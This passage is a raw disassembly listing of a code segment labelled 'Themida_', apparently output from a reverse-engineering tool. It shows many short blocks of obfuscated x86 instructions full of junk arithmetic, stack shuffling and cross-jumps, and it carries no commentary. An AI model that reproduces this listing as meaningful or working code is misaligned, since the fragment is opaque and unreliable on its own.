Themida_:005AC9D1j push edx push 62871C60h pop edx jmp loc_5A0996 ; --------------------------------------------------------------------------- loc_599BE5: ; CODE XREF: Themida_:005AE75Fj mov bl, cl pop ecx push dword ptr [esp] pop edx jmp loc_5A0344 ; --------------------------------------------------------------------------- loc_599BF1: ; DATA XREF: Themida_:00598718o mov ax, [esp] sub esp, 4 mov [esp], edx push 3BDDh mov [esp], esp add dword ptr [esp], 4 pop edx push ebp mov ebp, 4 jmp loc_5ACEA4 ; --------------------------------------------------------------------------- loc_599C13: ; CODE XREF: Themida_:005A9327j sub ebx, 36F11016h add [esp+4], ebx pop ebx mov ebp, [esp] add esp, 4 add ebp, 4 push esi mov esi, 2 jmp loc_5A3C3F ; --------------------------------------------------------------------------- loc_599C38: ; CODE XREF: Themida_:005ADF9Ej pop esi add esp, 4 mov edi, [esp] jmp loc_59C955 ; --------------------------------------------------------------------------- loc_599C44: ; CODE XREF: Themida_:005A57F5j mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebx push esi mov esi, 4 sub esp, 4 mov [esp], esi mov ebx, [esp] add esp, 4 pop esi add ecx, 56CF7C47h add ecx, 7BB20676h add ecx, ebx sub ecx, 7BB20676h jmp loc_59D879 ; --------------------------------------------------------------------------- loc_599C84: ; CODE XREF: Themida_:005A3E62j pop esp mov [esp], cx movzx cx, al jmp loc_5A1DB8 ; --------------------------------------------------------------------------- loc_599C92: ; CODE XREF: Themida_:005A02E8j pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599CA1: ; CODE XREF: Themida_:0059EB83j sub ebx, 105034D0h jmp loc_59E894 ; --------------------------------------------------------------------------- loc_599CAC: ; CODE XREF: Themida_:0059B9F2j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], eax mov eax, 394A7EB2h add eax, 0E74BA138h push eax add dword ptr [esp], 0FFFFFFFFh jmp loc_59F86F ; --------------------------------------------------------------------------- loc_599CDA: ; CODE XREF: Themida_:00598ED5j mov esp, [esp] mov [esp], eax push esp pop eax push 596Ah mov [esp], edx jmp loc_5A6419 ; --------------------------------------------------------------------------- loc_599CEF: ; CODE XREF: Themida_:005A6197j xor ecx, eax pop eax add edi, ecx pop ecx add edi, 4 xor edi, [esp] jmp loc_5A52C4 ; --------------------------------------------------------------------------- loc_599D00: ; CODE XREF: Themida_:005A3CB2j inc edi push ebx mov ebx, 25A02D37h and edi, ebx pop ebx add edi, 5E4B01C4h sub edx, edi mov edi, [esp] add esp, 4 jmp loc_5AD8C8 ; --------------------------------------------------------------------------- loc_599D1D: ; CODE XREF: Themida_:005A28FDj shr bh, 8 push edx mov dh, 6Dh xor bh, dh mov edx, [esp] add esp, 4 xor dh, bh pop ebx not dh jmp loc_5AD9DC ; --------------------------------------------------------------------------- loc_599D35: ; CODE XREF: Themida_:005A2B32j push edi push 30F209ECh jmp loc_5A9FBA ; --------------------------------------------------------------------------- loc_599D40: ; CODE XREF: Themida_:loc_5AD509j sub edx, 80627CB6h jmp loc_5A5141 ; --------------------------------------------------------------------------- loc_599D4B: ; CODE XREF: Themida_:0059D26Bj mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] jmp loc_5A1CAA ; --------------------------------------------------------------------------- loc_599D64: ; CODE XREF: Themida_:0059FFF3j sub edx, 0B9B10C40h not edx jmp loc_59D512 ; --------------------------------------------------------------------------- loc_599D71: ; CODE XREF: Themida_:005AEFE4j mov [esp], ebp jmp loc_59BB1A ; --------------------------------------------------------------------------- loc_599D79: ; CODE XREF: Themida_:005AE530j sub edx, 1 push 46E4h mov [esp], ebx push 528C635Fh pop ebx xor ebx, 388D0246h sub edx, ebx mov ebx, [esp] push ecx jmp loc_5A8EA8 ; --------------------------------------------------------------------------- loc_599D9B: ; CODE XREF: Themida_:0059BD3Cj add byte ptr [esp], 28h sub [esp], ch sub byte ptr [esp], 28h mov ch, [esp] add esp, 4 xor ch, 0E2h push ecx dec byte ptr [esp+1] not byte ptr [esp+1] mov ecx, [esp] add esp, 4 not ch xor ch, 0DDh jmp loc_59A630 ; --------------------------------------------------------------------------- loc_599DC8: ; CODE XREF: Themida_:005A2AF7j mov edi, esp add edi, 4 push ebp mov ebp, 4 push edx mov edx, 378805E5h jmp loc_5AA20F ; --------------------------------------------------------------------------- loc_599DE1: ; CODE XREF: Themida_:loc_5A6400j shr edx, 3 jz loc_59BAE8 jmp loc_5A1FD2 ; --------------------------------------------------------------------------- loc_599DEF: ; CODE XREF: Themida_:0059FF83j add dh, 0FBh jmp loc_5A9054 ; --------------------------------------------------------------------------- loc_599DF7: ; CODE XREF: Themida_:005A6A86j push 3817h mov [esp], ebp jmp loc_598E87 ; --------------------------------------------------------------------------- loc_599E04: ; CODE XREF: Themida_:005AEE88j mov dh, 97h or dh, 54h shl dh, 8 and dh, 75h jmp loc_5A09D5 ; --------------------------------------------------------------------------- loc_599E14: ; CODE XREF: Themida_:005AB9A7j add edi, 6FC32EF2h pop esi push edi inc dword ptr [esp] pop edi add edi, 17CD0083h or esi, edi pop edi push ecx mov ecx, 4C7A697Eh shl ecx, 7 shl ecx, 8 sub ecx, 0B41A6FBBh add esi, ecx mov ecx, [esp] add esp, 4 add edi, 391D1FE2h add edi, esi sub edi, 391D1FE2h jmp loc_5AB23D ; --------------------------------------------------------------------------- loc_599E59: ; CODE XREF: Themida_:005AA599j pop edi push 102Ch mov [esp], eax push 2F9Ah mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, 4 jmp loc_5A4003 ; --------------------------------------------------------------------------- loc_599E7D: ; CODE XREF: Themida_:0059E7DDj and [edi+1Ch], esi mov esi, [esp] push 3E98h jmp loc_59EEED ; --------------------------------------------------------------------------- loc_599E8D: ; CODE XREF: Themida_:005A9C36j push ebp mov ebp, 61F41D3Eh mov edx, 61F41D3Ah xor edx, ebp jmp loc_5AA27A ; --------------------------------------------------------------------------- loc_599E9F: ; CODE XREF: Themida_:loc_59E894j add ebx, 553A6340h jmp loc_5A3640 ; --------------------------------------------------------------------------- loc_599EAA: ; CODE XREF: Themida_:005A9931j push dword ptr [esp] jmp loc_5A4410 ; --------------------------------------------------------------------------- loc_599EB2: ; CODE XREF: Themida_:0059E285j pop edx pop ebp push ebp mov ebp, 593B4DCFh jmp loc_5AE794 ; --------------------------------------------------------------------------- loc_599EBF: ; CODE XREF: Themida_:005ACBD8j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5A6B89 ; --------------------------------------------------------------------------- loc_599ED8: ; CODE XREF: Themida_:005AAC45j mov ecx, [esp] add esp, 4 or eax, eax jz loc_5A40FB push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp push ebp mov ebp, 72A07D7Bh sub ebp, 60396EA4h or ebp, 3BC55570h not ebp push 5B5Ah mov [esp], eax jmp loc_5A2F75 ; --------------------------------------------------------------------------- loc_599F1A: ; CODE XREF: Themida_:0059C7E1j pop dword ptr [esp] mov esp, [esp] jmp loc_5AC47F ; --------------------------------------------------------------------------- loc_599F25: ; CODE XREF: Themida_:0059E0BFj pop esi shr ebx, 2 jns loc_5A144D xor ebx, 6F7C8B28h push ebx jmp loc_59C6C8 ; --------------------------------------------------------------------------- mov bh, 4 loc_599F3D: ; CODE XREF: Themida_:005A0397j mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599F4B: ; CODE XREF: Themida_:loc_5A9CC4j or edi, 438336Ch jb loc_5A9229 add edi, 77A2EF1h sub edi, 66B26EECh sub esi, 35D90DABh sub esi, edi add esi, 35D90DABh pop edi xchg esi, [esp] jmp loc_59B133 ; --------------------------------------------------------------------------- loc_599F7A: ; CODE XREF: Themida_:005A85C6j add [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599F83: ; CODE XREF: Themida_:005AE259j sub esp, 4 mov [esp], esi push eax push 593D3882h push dword ptr [esp] pop eax add esp, 4 push ebx push esi sub esp, 4 mov [esp], eax push 0D4508F2h pop eax push edx jmp loc_5ABC3C ; --------------------------------------------------------------------------- loc_599FB0: ; CODE XREF: Themida_:005A3B4Dj add eax, ecx pop ecx jmp loc_5A6126 ; --------------------------------------------------------------------------- loc_599FB8: ; CODE XREF: Themida_:005A97CBj sub ecx, 0B74A92D7h mov esi, ecx pop ecx or esi, 54805878h add esi, 0AA76A50Bh jmp loc_5AAD0B ; --------------------------------------------------------------------------- loc_599FD2: ; CODE XREF: Themida_:005A72F9j push edx mov dh, 3Ah push ecx jmp loc_5A636D ; --------------------------------------------------------------------------- loc_599FDB: ; CODE XREF: Themida_:0059C312j add esp, 4 push ebp mov ebp, esp push edi mov edi, esp add edi, 4 jmp loc_5AC8B9 ; --------------------------------------------------------------------------- loc_599FF2: ; CODE XREF: Themida_:005A7669j inc eax jmp loc_59DDEB ; --------------------------------------------------------------------------- loc_599FF8: ; CODE XREF: Themida_:0059F628j mov bh, ah pop eax push eax mov ah, bh mov cl, ah mov eax, [esp] push edx jmp loc_59D838 ; --------------------------------------------------------------------------- loc_59A009: ; CODE XREF: Themida_:005A987Fj push esi jmp loc_5ACE79 ; --------------------------------------------------------------------------- loc_59A00F: ; CODE XREF: Themida_:005A7EC8j add eax, 75C842E6h jp loc_5A1EDB jmp loc_5A26C6 ; --------------------------------------------------------------------------- loc_59A01F: ; CODE XREF: Themida_:005AA9D6j add ebx, 4 jmp loc_5AFAA5 ; --------------------------------------------------------------------------- loc_59A02A: ; CODE XREF: Themida_:005AEE79j sub edi, 3B1C27E7h mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5A16DE ; --------------------------------------------------------------------------- loc_59A044: ; CODE XREF: Themida_:0059CEE6j mov dl, al jmp loc_5AB7DE ; --------------------------------------------------------------------------- loc_59A04B: ; CODE XREF: Themida_:005A5BB9j push esi not dword ptr [esp] pop esi jmp loc_5A8F28 ; --------------------------------------------------------------------------- loc_59A055: ; CODE XREF: Themida_:005A9923j pop eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5ADD73 ; --------------------------------------------------------------------------- loc_59A067: ; CODE XREF: Themida_:0059B028j not dword ptr [esp] pop edi jmp loc_59FDFC ; --------------------------------------------------------------------------- loc_59A070: ; CODE XREF: Themida_:005A7A25j pop edi push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp sub esp, 4 jmp loc_5A9C8F ; --------------------------------------------------------------------------- loc_59A089: ; CODE XREF: Themida_:005A3E17j not dword ptr [esp] mov ebx, [esp] add esp, 4 shl ebx, 6 neg ebx jmp loc_5A853A ; --------------------------------------------------------------------------- loc_59A09C: ; CODE XREF: Themida_:005AD122j add esp, 4 sub edx, 69E947C5h pop ecx shl edx, 6 sub edx, 320A42B3h jmp loc_5AD1CC ; --------------------------------------------------------------------------- loc_59A0B7: ; CODE XREF: Themida_:0059B1B3j ; Themida_:005AB9EAj ... push 69B5197Fh pop edx dec edx sub edx, 1 add edx, 9E91EF91h or ebx, edx jmp loc_5AC622 ; --------------------------------------------------------------------------- loc_59A0CE: ; CODE XREF: Themida_:005A36ADj ; Themida_:005AF590j pop ecx jmp loc_59A5F9 ; --------------------------------------------------------------------------- loc_59A0D4: ; CODE XREF: Themida_:0059D46Bj xchg edi, [esp] pop esp or eax, eax jz loc_59B30E push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push 20F9h mov [esp], esp push eax jmp loc_5ABCF5 ; --------------------------------------------------------------------------- loc_59A108: ; CODE XREF: Themida_:005A4631j ; Themida_:005A678Bj add ebx, 16815B24h jmp loc_5AE700 ; --------------------------------------------------------------------------- loc_59A113: ; CODE XREF: Themida_:005AA317j push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_59F7D3 ; --------------------------------------------------------------------------- loc_59A12E: ; CODE XREF: Themida_:005A4F21j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59A133: ; DATA XREF: Themida_:0059870Co mov cx, [esp] push 21F9h mov [esp], esi push 58EBh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ebx push 4 jmp loc_5AD749 ; --------------------------------------------------------------------------- loc_59A160: ; CODE XREF: Themida_:0059911Dj mov [esp], ebx push edx mov edx, 2A9607BFh inc edx jmp loc_59BF00 ; --------------------------------------------------------------------------- loc_59A16F: ; CODE XREF: Themida_:0059A932j shl edi, 1 jmp loc_5A67A3 ; --------------------------------------------------------------------------- loc_59A176: ; CODE XREF: Themida_:loc_5AC8AFj dec edx xor edx, 77797FCAh jmp loc_5A4136 ; --------------------------------------------------------------------------- loc_59A182: ; CODE XREF: Themida_:005A475Aj mov esi, [esp] add esp, 4 sub ecx, ebx add ecx, 47EB48FFh jmp loc_59E7CA ; --------------------------------------------------------------------------- loc_59A195: ; CODE XREF: Themida_:005AC4FBj add eax, 6B877C0Ah add eax, esi sub eax, 6B877C0Ah jmp loc_59EA48 ; --------------------------------------------------------------------------- loc_59A1A6: ; CODE XREF: Themida_:0059BD79j mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59A1B9: ; CODE XREF: Themida_:0059A6C0j add esi, 4 push edi mov edi, 5F382ED8h dec edi jmp loc_5A9CC4 ; --------------------------------------------------------------------------- loc_59A1CB: ; CODE XREF: Themida_:005AB26Bj push 2180h mov [esp], eax pop esi jmp loc_59CD7A ; --------------------------------------------------------------------------- loc_59A1D9: ; CODE XREF: Themida_:0059B42Cj add eax, esi pop esi pop edi pop ebx push edx mov edx, 6F05182Fh push ecx mov ecx, 62565FCFh add edx, ecx pop ecx jmp loc_59CC08 ; --------------------------------------------------------------------------- loc_59A1F2: ; CODE XREF: Themida_:005A5668j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5AB11B ; --------------------------------------------------------------------------- loc_59A20C: ; CODE XREF: Themida_:005ADEFBj push edx mov dl, bl mov al, dl jmp loc_5AD9EB ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 59h jmp loc_59AD36 ; --------------------------------------------------------------------------- loc_59A223: ; CODE XREF: Themida_:00598B46j xor di, cx pop ecx xor si, di jmp loc_5A8AF1 ; --------------------------------------------------------------------------- loc_59A22F: ; CODE XREF: Themida_:005A07C3j mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A018C ; --------------------------------------------------------------------------- loc_59A240: ; CODE XREF: Themida_:005A72BBj pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] and eax, ebx pop ebx push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5AF7E8 ; --------------------------------------------------------------------------- loc_59A265: ; CODE XREF: Themida_:00599827j add ebx, esi pop esi jmp loc_5A0F1B ; --------------------------------------------------------------------------- loc_59A26D: ; CODE XREF: Themida_:005997E7j jb loc_5A3C11 add ebp, 10561CBEh jbe loc_5A4DEA shl ebp, 7 xor ebp, 0A3C750EDh add ecx, ebp pop ebp jmp loc_59C09A ; --------------------------------------------------------------------------- loc_59A290: ; CODE XREF: Themida_:005A2F9Dj mov [esp], ebx jmp loc_59AB08 ; --------------------------------------------------------------------------- loc_59A298: ; CODE XREF: Themida_:005A46FCj sub esi, ecx jmp loc_5A9F0A ; --------------------------------------------------------------------------- loc_59A29F: ; CODE XREF: Themida_:005A7B51j or esi, 3D783FDDh jmp loc_5A0FAB ; --------------------------------------------------------------------------- loc_59A2AA: ; CODE XREF: Themida_:005A1EC5j ; Themida_:005A565Bj ... push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push eax push edi mov edi, 200CAC77h mov eax, edi pop edi push eax push esi mov esi, 3EBD15A8h sub [esp+4], esi pop esi pop edi add edi, 3EBD15A8h pop eax jmp loc_59FCA5 ; --------------------------------------------------------------------------- loc_59A2E1: ; CODE XREF: Themida_:005A3B73j sub ebp, 0D7A68956h mov edx, ebp jmp loc_598D8F ; --------------------------------------------------------------------------- loc_59A2EE: ; CODE XREF: Themida_:0059D1E6j add eax, 0BA033389h mov ecx, eax mov eax, [esp] add esp, 4 xor ecx, 0BD84CE7Eh xor ebx, ecx pop ecx jmp loc_59B78D ; --------------------------------------------------------------------------- loc_59A30C: ; CODE XREF: Themida_:005A5C2Bj xor [esp], ebp xor ebp, [esp] mov esp, [esp] bswap eax push 7B71h mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59A324: ; CODE XREF: Themida_:005A9364j ; Themida_:005AC56Cj add esp, 4 push ecx mov ecx, 0BBA6D61h push ebx mov ebx, 0C681264h and ebx, 2CF1337Fh and ebx, 72455ACAh shr ebx, 2 sub ebx, 6E665016h add ebx, 0D410A501h or ecx, ebx pop ebx jmp loc_59B21D ; --------------------------------------------------------------------------- loc_59A356: ; CODE XREF: Themida_:005A0893j jnp loc_5A83E2 inc edi jle loc_5A0272 xor edi, 4CB74890h mov ecx, edi loc_59A36B: ; CODE XREF: Themida_:005A4A17j sub esi, edi pop edi add esi, 0CF80231h mov ebp, esi pop esi inc ebp jmp loc_5A3B9F ; --------------------------------------------------------------------------- loc_59A37D: ; CODE XREF: Themida_:005A5619j not ecx jmp loc_59D51F ; --------------------------------------------------------------------------- loc_59A384: ; CODE XREF: Themida_:005AED22j add esi, 7A4B35CFh pop edi xchg esi, [esp] mov esp, [esp] or ecx, ecx jz loc_5A8BB0 push 3D92h jmp loc_5AD723 ; --------------------------------------------------------------------------- loc_59A3A3: ; CODE XREF: Themida_:0059C8E2j mov [esp], ebp mov ebp, 8236B23h xor edi, ebp pop ebp add eax, 50ED2695h jmp loc_5A1874 ; --------------------------------------------------------------------------- loc_59A3B8: ; CODE XREF: Themida_:005AC8C0j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5A98FF ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi mov esi, 0DEAE3DBh add eax, 140006C9h push ecx mov ecx, 3042F62h jmp loc_59BBDD ; --------------------------------------------------------------------------- loc_59A3DF: ; CODE XREF: Themida_:005A65C7j pop edi dec ecx push ebp jmp loc_598B7F ; --------------------------------------------------------------------------- loc_59A3E7: ; CODE XREF: Themida_:0059AD83j add ebx, 4 jmp loc_59AF8C ; --------------------------------------------------------------------------- loc_59A3F2: ; CODE XREF: Themida_:005A7BD1j add edi, edx push dword ptr [esp] mov edx, [esp] push ebx jmp loc_59EE6D ; --------------------------------------------------------------------------- loc_59A400: ; CODE XREF: Themida_:0059C85Aj shr eax, 3 push edi jmp loc_5A80DF ; --------------------------------------------------------------------------- loc_59A409: ; CODE XREF: Themida_:005A37D3j sub eax, edx pop edx jmp loc_5A535E ; --------------------------------------------------------------------------- loc_59A411: ; CODE XREF: Themida_:005AA443j mov ecx, [esp] jmp loc_5A12CF ; --------------------------------------------------------------------------- loc_59A419: ; CODE XREF: Themida_:005AE6CBj push 4028h jmp loc_5A6B23 ; --------------------------------------------------------------------------- loc_59A423: ; CODE XREF: Themida_:0059F670j or ecx, 21BA3513h jns loc_5999D5 add ecx, 3D83D8B9h mov ebx, ecx jmp loc_5999A3 ; --------------------------------------------------------------------------- push ecx push eax push 13F8h mov [esp], ecx push 71E8h mov [esp], ebx push eax mov al, dh mov bh, al mov eax, [esp] add esp, 4 mov cl, bh mov ebx, [esp] add esp, 4 push edx jmp loc_59AB84 ; --------------------------------------------------------------------------- loc_59A467: ; CODE XREF: Themida_:0059EEB6j pop edx xchg edi, edx not edi xor edx, edi xor edi, edx xor edx, edi push ebx push edx mov ebx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_59BC8D ; --------------------------------------------------------------------------- loc_59A48B: ; CODE XREF: Themida_:005A0768j pop ecx push ebp push ecx mov ecx, 5D7A7136h mov ebp, ecx pop ecx sub ebp, 0E2926BC6h or ebp, 78B4F0Dh push esi mov esi, 5CFF5529h sub ebp, esi jmp loc_5A207B ; --------------------------------------------------------------------------- loc_59A4AF: ; CODE XREF: Themida_:loc_5AAEBCj ; Themida_:005AEA05j mov [esp], edi jmp loc_5A94A6 ; --------------------------------------------------------------------------- loc_59A4B7: ; CODE XREF: Themida_:005A8802j mov ebx, 0CA30936h shl ebx, 1 jmp loc_5A280F ; --------------------------------------------------------------------------- loc_59A4C3: ; CODE XREF: Themida_:005A706Aj mov edi, 74632082h mov edx, 74632086h xor edx, edi pop edi mov ecx, edx pop edx sub edx, 6519417Fh add edx, ecx push ebp jmp loc_598F3C ; --------------------------------------------------------------------------- loc_59A4E1: ; CODE XREF: Themida_:loc_5AFD09j inc ebx jp loc_59FA16 xor ebx, 73DA5DECh jmp loc_5A02AF ; --------------------------------------------------------------------------- push edi mov bh, 0C0h loc_59A4F7: ; CODE XREF: Themida_:005AB393j pop ecx sub al, bl push dx mov dl, 0EFh jmp loc_59BF48 ; --------------------------------------------------------------------------- loc_59A503: ; CODE XREF: Themida_:005A10B9j sub esp, 4 mov [esp], edi mov edi, 42ED4D71h neg edi shl edi, 7 or edi, 725F5737h jmp loc_5AB364 ; --------------------------------------------------------------------------- loc_59A51E: ; CODE XREF: Themida_:005A4AE4j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59AFB9 ; --------------------------------------------------------------------------- loc_59A531: ; CODE XREF: Themida_:005A48E9j sub ecx, ebp pop ebp shl ecx, 8 jmp loc_5ACD5B ; --------------------------------------------------------------------------- loc_59A53C: ; CODE XREF: Themida_:loc_5A0CB7j jmp loc_5A166B ; --------------------------------------------------------------------------- loc_59A541: ; CODE XREF: Themida_:005A7A35j mov ecx, eax jmp loc_5A4548 ; --------------------------------------------------------------------------- loc_59A548: ; CODE XREF: Themida_:005A2DD6j mov [esp], edx jmp loc_59E971 ; --------------------------------------------------------------------------- loc_59A550: ; CODE XREF: Themida_:005A1149j ; Themida_:005ADBA2j jb loc_5AA53E inc edi xor edi, 2F753999h ja loc_5AE497 sub edi, 280B4690h jns loc_59B833 mov ah, dl loc_59A571: ; CODE XREF: Themida_:005AC73Bj mov edx, [esp] add esp, 4 add ebp, edi jmp loc_5AC6FC ; --------------------------------------------------------------------------- loc_59A57E: ; CODE XREF: Themida_:005A3C01j jmp loc_5A5D7F ; --------------------------------------------------------------------------- loc_59A583: ; CODE XREF: Themida_:0059B4CAj push ecx mov ecx, 719C7484h sub edx, ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5A1F43 ; --------------------------------------------------------------------------- loc_59A599: ; CODE XREF: Themida_:0059EF70j sub esp, 4 mov [esp], esi jmp loc_5AB4B2 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi jmp loc_59C0BF ; --------------------------------------------------------------------------- loc_59A5B6: ; CODE XREF: Themida_:0059D708j jmp loc_598A3D ; --------------------------------------------------------------------------- loc_59A5BB: ; CODE XREF: Themida_:005A3FF8j push dword ptr [esp] jmp loc_5ADA2C ; --------------------------------------------------------------------------- loc_59A5C3: ; CODE XREF: Themida_:005A17BDj pop ebp and ebp, 1FB828D9h xor ebp, 15A8281Dh add edi, 1D814882h add edi, ebp sub edi, 1D814882h pop ebp push ebx mov ebx, 77FB392Bh shr ebx, 2 sub ebx, 1DFECE46h sub edi, 0D3C53FEh jmp loc_5A7873 ; --------------------------------------------------------------------------- loc_59A5F9: ; CODE XREF: Themida_:0059A0CFj add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_5A9E9C ; --------------------------------------------------------------------------- loc_59A60F: ; CODE XREF: Themida_:0059EAEFj push 17DDh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_5ADCC8 ; --------------------------------------------------------------------------- loc_59A624: ; CODE XREF: Themida_:005A2CD8j dec edx xor edx, 77797FCAh jmp loc_5A3187 ; --------------------------------------------------------------------------- loc_59A630: ; CODE XREF: Themida_:00599DC3j add al, 0Ah sub al, ch jmp loc_5ABA13 ; --------------------------------------------------------------------------- loc_59A639: ; CODE XREF: Themida_:005A091Ej push ecx mov ecx, 43AC6259h neg ecx ja loc_59C5A6 jmp loc_5A97CA ; --------------------------------------------------------------------------- loc_59A64C: ; CODE XREF: Themida_:0059CD90j pop esp add ebx, 7A6666DCh add ebx, 3F892558h jmp loc_5A2005 ; --------------------------------------------------------------------------- loc_59A65E: ; CODE XREF: Themida_:0059BCF9j shl ebp, 3 add ebp, 4EA664E2h push ebx mov ebx, 1EB74964h not ebx xor ebx, 0C941C743h jmp loc_5A6451 ; --------------------------------------------------------------------------- loc_59A67A: ; CODE XREF: Themida_:005AA24Fj push esi mov esi, 4 add edi, esi pop esi jmp loc_5AF7D0 ; --------------------------------------------------------------------------- loc_59A688: ; CODE XREF: Themida_:005A77BFj sub esp, 4 mov [esp], ebx mov bh, 0E1h sub al, bh jmp loc_59E958 ; --------------------------------------------------------------------------- loc_59A697: ; CODE XREF: Themida_:005AC9B5j add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, esp jmp loc_5A9749 ; --------------------------------------------------------------------------- loc_59A6A6: ; CODE XREF: Themida_:005ABC11j ; Themida_:005ACB24j mov si, [esp] jmp loc_5AC8C5 ; --------------------------------------------------------------------------- loc_59A6AF: ; CODE XREF: Themida_:005A4E84j pop eax pop dword ptr [esp] mov esp, [esp] push ecx push 60F14A59h pop ecx push esi mov esi, esp jmp loc_59A1B9 ; --------------------------------------------------------------------------- loc_59A6C5: ; CODE XREF: Themida_:005A89D8j sub ecx, 17D3A88Eh sub eax, 0E6E2D22h add eax, ecx add eax, 0E6E2D22h pop ecx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5A94C8 ; --------------------------------------------------------------------------- loc_59A6EB: ; CODE XREF: Themida_:005AC065j not bl xchg bl, al jmp loc_5AB7E6 ; --------------------------------------------------------------------------- loc_59A6F4: ; CODE XREF: Themida_:005AD504j mov ebp, 1978EDF4h xor edi, ebp pop ebp sub ebx, 2B04427Fh sub ebx, 538E3F63h add ebx, edi push 312Eh mov [esp], edx mov edx, 538E3F63h jmp loc_59F798 ; --------------------------------------------------------------------------- loc_59A71C: ; CODE XREF: Themida_:0059EB55j sub edi, 83319031h add eax, edi pop edi add eax, ecx sub eax, 103738A8h mov ecx, [esp] jmp loc_59D746 ; --------------------------------------------------------------------------- loc_59A734: ; CODE XREF: Themida_:005A0ECFj sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5A13A3 ; --------------------------------------------------------------------------- loc_59A75D: ; CODE XREF: Themida_:005AB1E2j push ebp jmp loc_5A118E ; --------------------------------------------------------------------------- loc_59A763: ; CODE XREF: Themida_:00598E7Aj mov cl, 8Ah sub cl, 0D9h shr cl, 7 push ax mov ah, 14h add cl, 0A6h add cl, ah jmp loc_5AFDF7 ; --------------------------------------------------------------------------- loc_59A779: ; CODE XREF: Themida_:0059DEEFj add edi, 4 jmp loc_59B1B8 ; --------------------------------------------------------------------------- loc_59A784: ; CODE XREF: Themida_:005A44B9j js loc_59BAB2 push eax mov al, 94h push ecx mov cl, 0DDh sub al, cl pop ecx xor bh, al loc_59A795: ; CODE XREF: Themida_:005A28CDj mov eax, esp jmp loc_5A1D6A ; --------------------------------------------------------------------------- loc_59A79C: ; CODE XREF: Themida_:005ADAF6j push ebp mov ebp, 7C3E1E08h push ecx mov ecx, 0C1E64986h add ebp, ecx pop ecx or esi, ebp jmp loc_5A5921 ; --------------------------------------------------------------------------- loc_59A7B2: ; CODE XREF: Themida_:005AB2ABj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5ACCEC ; --------------------------------------------------------------------------- loc_59A7CA: ; CODE XREF: Themida_:0059BC1Bj xor [esp], eax xor eax, [esp] jmp loc_5A7926 ; --------------------------------------------------------------------------- loc_59A7D5: ; CODE XREF: Themida_:005A99D7j push esi push 54933AA3h mov esi, [esp] jmp loc_5A1F32 ; --------------------------------------------------------------------------- loc_59A7E3: ; CODE XREF: Themida_:0059C7D9j sub ecx, 306864DFh jmp loc_59EFDB ; --------------------------------------------------------------------------- loc_59A7EE: ; CODE XREF: Themida_:005AD00Fj pop ecx pop edx jmp loc_5A42FE ; --------------------------------------------------------------------------- loc_59A7F5: ; CODE XREF: Themida_:005ACE7Ej pop esi xor esi, 729845D0h mov ecx, esi pop esi sub edi, 18794660h push edx mov edx, 26E365E0h xor edx, 5C28159Fh shr edx, 6 and edx, 1C6030Dh xor edx, 255247FCh shl edx, 2 push eax mov eax, 8BDA53FCh xor edx, eax jmp loc_5A5EF6 ; --------------------------------------------------------------------------- loc_59A830: ; CODE XREF: Themida_:0059FC49j and ebp, edx pop edx shl ebp, 2 sub ebp, 20001DE4h mov edx, ebp jmp loc_5AD8A4 ; --------------------------------------------------------------------------- loc_59A843: ; CODE XREF: Themida_:005A49A3j add ebx, ebp pop ebp add ebx, ebp push esi mov esi, 0B97451Eh sub ebx, esi pop esi sub ebx, 53355750h pop ebp push 37DEh jmp loc_5A5791 ; --------------------------------------------------------------------------- loc_59A862: 